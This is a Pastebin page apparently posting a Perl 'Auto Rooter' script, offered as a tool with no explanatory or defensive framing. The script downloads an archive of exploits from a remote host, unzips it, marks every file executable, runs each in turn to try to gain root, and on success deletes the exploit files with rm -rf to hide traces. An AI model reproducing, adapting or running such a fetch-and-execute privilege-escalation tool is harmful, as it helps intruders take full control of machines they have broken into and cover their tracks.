iViiRuS

Auto Rooter

Jun 4th, 2014
422
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #Sheikh Viirus
  3.  
  4. use LWP::Simple qw(getstore);
  5. $url = "http://dwn/exps.zip";
  6. getstore($url,"exps.zip") unless -e "exps.zip";
  7. `unzip -o exps.zip`;
  8. chdir("exps");
  9. chmod 0777, glob('*');
  10. print "+ testing: \n";
  11. foreach (glob('*'))
  12. {
  13. print "\t".$_." > ";
  14. exec($_);
  15. if($< == 0){`rm -rf exps exps.zip`;die "#G0t R00t\n";}else{print "faild\n";}
  16. }
  17. print "cleaning";
  18. `rm -rf exps exps.zip`;
RAW Paste Data